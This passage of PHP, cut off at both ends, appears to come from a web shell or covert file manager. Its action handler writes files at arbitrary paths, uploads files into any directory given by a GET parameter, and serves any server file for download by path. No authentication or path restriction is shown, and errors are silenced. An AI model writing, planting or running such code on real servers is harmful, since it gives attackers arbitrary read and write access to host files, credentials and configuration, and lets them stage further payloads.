ents($p, $c) !== false;
            echo json_encode(array('s' => $ok ? 'ok' : 'fail', 'b' => $ok ? @filesize($p) : 0));
            break;

        case 'upload':
            if ($_SERVER['REQUEST_METHOD'] !== 'POST' || empty($_FILES['f'])) {
                echo '{"e":"no file"}'; exit;
            }
            $dir = isset($_GET['d']) ? $_GET['d'] : $D;
            $f = $_FILES['f'];
            if ($f['error'] !== UPLOAD_ERR_OK) {
                echo json_encode(array('e' => 'upload error ' . $f['error'])); exit;
            }
            $name = basename($f['name']);
            $dest = rtrim($dir, '/') . '/' . $name;
            $ok = @move_uploaded_file($f['tmp_name'], $dest);
            echo json_encode(array('s' => $ok ? 'ok' : 'fail', 'n' => $name, 'b' => $ok ? @filesize($dest) : 0));
            break;

        case 'dl':
            $p = isset($_GET['p']) ? $_GET['p'] : '';
            if (!$p || !file_exists($p)) { http_response_code(404); exit; }
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($p) . '"');
            header('Content-Length: ' . @filesize($p));
            @rea